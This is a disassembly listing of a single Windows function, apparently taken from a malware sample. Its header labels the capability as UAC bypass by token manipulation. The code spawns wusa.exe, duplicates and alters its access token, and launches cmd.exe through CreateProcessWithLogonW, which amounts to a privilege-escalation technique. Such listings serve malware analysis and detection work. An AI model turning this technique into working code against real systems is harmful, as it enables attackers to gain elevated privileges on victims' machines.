Function at 0x91280
Capabilities:
Bypass uac via token manipulation
Create process on windows
Create process suspended
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x71c
mov eax, dword [0xa10d8]
xor eax, esp
mov dword [esp + 0x718], eax
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
push edi
mov dword [esp + 0x20], ebx
mov esi, 0xc0000001
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0xfc], ebx
mov word [esp + 0x100], 0x1000
mov dword [esp + 0x24], ebx
mov ecx, 0x3c
lea eax, [esp + 0x74]
mov byte [eax], bl
inc eax
dec ecx
jne 0x912e1
cmp edx, ebx
je 0x912f2
mov edi, edx
jmp 0x91373
mov ecx, 0x20a
lea eax, [esp + 0x110]
mov edi, edi
mov byte [eax], bl
inc eax
dec ecx
jne 0x91300
mov ecx, 8
lea eax, [esp + 0x44]
nop
mov byte [eax], bl
inc eax
dec ecx
jne 0x91310
push str._systemroot__system32cmd.exe
lea edx, [esp + 0x48]
push edx
call dword [0xa392c]
lea eax, [esp + 0x110]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x4c]
push edx
push ebx
mov dword [esp + 0x40], 0x2080000
mov dword [esp + 0x48], ebx
call dword [0xa391c]
cmp eax, ebx
jge 0x9136c
cmp eax, 0xc0000023
je 0x9136c
push eax
call dword [0xa3938]
push eax
call dword [0xa3920]
lea edi, [esp + 0x110]
lea eax, [esp + 0x74]
push eax
mov dword [esp + 0x78], 0x3c
mov dword [esp + 0x7c], 0x40
mov dword [esp + 0x88], str.wusa.exe
mov dword [esp + 0x94], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x916f9
mov edx, dword [esp + 0xac]
lea ecx, [esp + 0x2c]
push ecx
push 0x2000000
push edx
call dword [0xa3940]
mov esi, eax
cmp esi, ebx
jl 0x91711
lea ecx, [esp + 0x1c]
push ecx
push 1
push ebx
lea edx, [esp + 0x58]
lea eax, [esp + 0x110]
push edx
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x3c]
push 0xf01ff
push eax
mov dword [esp + 0x11c], 0xc
mov dword [esp + 0x120], 2
mov word [esp + 0x124], bx
mov dword [esp + 0x64], 0x18
mov dword [esp + 0x68], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x74], ebx
call dword [0xa3944]
mov esi, eax
cmp esi, ebx
jl 0x9171d
lea ecx, [esp + 0x24]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x2000
push 1
lea edx, [esp + 0x124]
push edx
call dword [0xa3948]
mov esi, eax
cmp esi, ebx
jl 0x9172f
mov eax, dword [esp + 0x24]
push eax
mov dword [esp + 0x44], 0x20
mov dword [esp + 0x40], eax
call dword [0xa3950]
mov ecx, dword [esp + 0x1c]
add eax, 8
push eax
lea eax, [esp + 0x40]
push eax
push 0x19
push ecx
call dword [0xa3934]
mov esi, eax
cmp esi, ebx
jl 0x91741
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x28]
push edx
push ebx
push ebx
push ebx
push 4
push eax
call dword [0xa394c]
mov esi, eax
cmp esi, ebx
jl 0x9174d
mov eax, dword [esp + 0x28]
lea ecx, [esp + 0x14]
push ecx
push 2
push ebx
lea edx, [esp + 0x58]
push edx
push 0xc
push eax
mov dword [esp + 0x2c], ebx
call dword [0xa3944]
mov esi, eax
cmp esi, ebx
jl 0x9175f
push 4
lea ecx, [esp + 0x18]
push ecx
push 5
push 0xfffffffffffffffe
call dword [0xa3930]
mov esi, eax
cmp esi, ebx
jl 0x91771
mov edx, dword [esp + 0x14]
push edx
call dword [0xa393c]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
cmp word [edi], bx
je 0x916dd
jmp 0x91516
xor ebx, ebx
movzx edx, word [edi]
mov eax, edi
cmp dx, bx
je 0x91534
mov ecx, edx
cmp cx, 0xd
je 0x91534
movzx ecx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x91522
xor ebx, ebx
cmp word [eax], 0xd
setne bl
dec ebx
and ebx, eax
jne 0x9157a
mov eax, edi
test dx, dx
je 0x91562
mov ecx, edx
jmp 0x91550
cmp cx, 0xa
je 0x91562
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x91550
xor ebx, ebx
cmp word [eax], 0xa
setne bl
dec ebx
and ebx, eax
jne 0x9157a
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [edi + eax*2]
mov eax, ebx
sub eax, edi
sar eax, 1
cmp eax, 0x200
jb 0x9158c
mov eax, 0x1ff
lea esi, [eax + eax]
push esi
lea eax, [esp + 0x324]
push edi
push eax
call fcn.0009ee08
add esp, 0xc
xor ecx, ecx
mov word [esp + esi + 0x320], cx
mov ecx, 0x44
lea eax, [esp + 0xb0]
mov byte [eax], 0
inc eax
dec ecx
jne 0x915b7
lea edx, [esp + 0xb0]
push edx
mov dword [esp + 0xb4], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, 6
mov word [esp + 0xe0], ax
mov dword [esp + 0xdc], 1
mov ecx, 0x10
lea eax, [esp + 0x64]
mov byte [eax], 0
inc eax
dec ecx
jne 0x915f8
lea ecx, [esp + 0x64]
push ecx
lea edx, [esp + 0xb4]
push edx
push 0
push 0
push 0
lea eax, [esp + 0x334]
push eax
push 0
push 2
push str.useless
push 0xa12a0
push 0xa12a8
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
mov dword [esp + 0x20], eax
test eax, eax
je 0x916bf
mov ecx, dword [esp + 0x64]
push 0x2710
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, eax
mov eax, dword [esp + 0x68]
test eax, eax
je 0x91660
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x64]
test eax, eax
je 0x9166f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0x102
je 0x9169b
movzx eax, word [ebx]
cmp eax, 0xd
je 0x91684
cmp eax, 0xa
jne 0x91689
add ebx, 2
jmp 0x91677
inc dword [esp + 0x18]
cmp word [ebx], 0
mov edi, ebx
jne 0x91514
jmp 0x916db
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
add edx, 0x210
mov dword [eax], edx
mov dword [ecx], 0x102
mov dword [esp + 0x20], 0
jmp 0x916db
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
add edx, 0x210
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x10]
mov dword [ecx], eax
xor ebx, ebx
push 4
lea edx, [esp + 0x18]
push edx
push 5
push 0xfffffffffffffffe
mov dword [esp + 0x24], ebx
call dword [0xa3930]
mov esi, eax
jmp 0x91781
mov eax, dword [esp + 0xc]
mov dword [eax], 0x202
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x10]
mov dword [ecx], eax
jmp 0x91781
mov edx, dword [esp + 0xc]
mov dword [edx], 0x203
jmp 0x9177b
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov dword [ecx], 0x204
mov dword [edx], esi
jmp 0x91781
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [eax], 0x205
mov dword [ecx], esi
jmp 0x91781
mov edx, dword [esp + 0xc]
mov dword [edx], 0x206
jmp 0x9177b
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov dword [ecx], 0x207
mov dword [edx], esi
jmp 0x91781
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [eax], 0x208
mov dword [ecx], esi
jmp 0x91781
mov edx, dword [esp + 0xc]
mov dword [edx], 0x209
mov eax, dword [esp + 0x10]
mov dword [eax], esi
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x91790
push eax
call dword [0xa393c]
mov eax, dword [esp + 0x2c]
cmp eax, ebx
je 0x9179f
push eax
call dword [0xa393c]
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x917ae
push eax
call dword [0xa393c]
mov eax, dword [esp + 0x28]
cmp eax, ebx
je 0x917bd
push eax
call dword [0xa393c]
mov eax, dword [esp + 0xac]
cmp eax, ebx
je 0x917de
push ebx
push eax
call dword [0xa3924]
mov ecx, dword [esp + 0xac]
push ecx
call dword [0xa393c]
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x917ed
push eax
call dword [0xa3928]
push esi
call dword [0xa3938]
push eax
call dword [0xa3920]
mov ecx, dword [esp + 0x724]
mov eax, dword [esp + 0x20]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0009ec50
mov esp, ebp
pop ebp
ret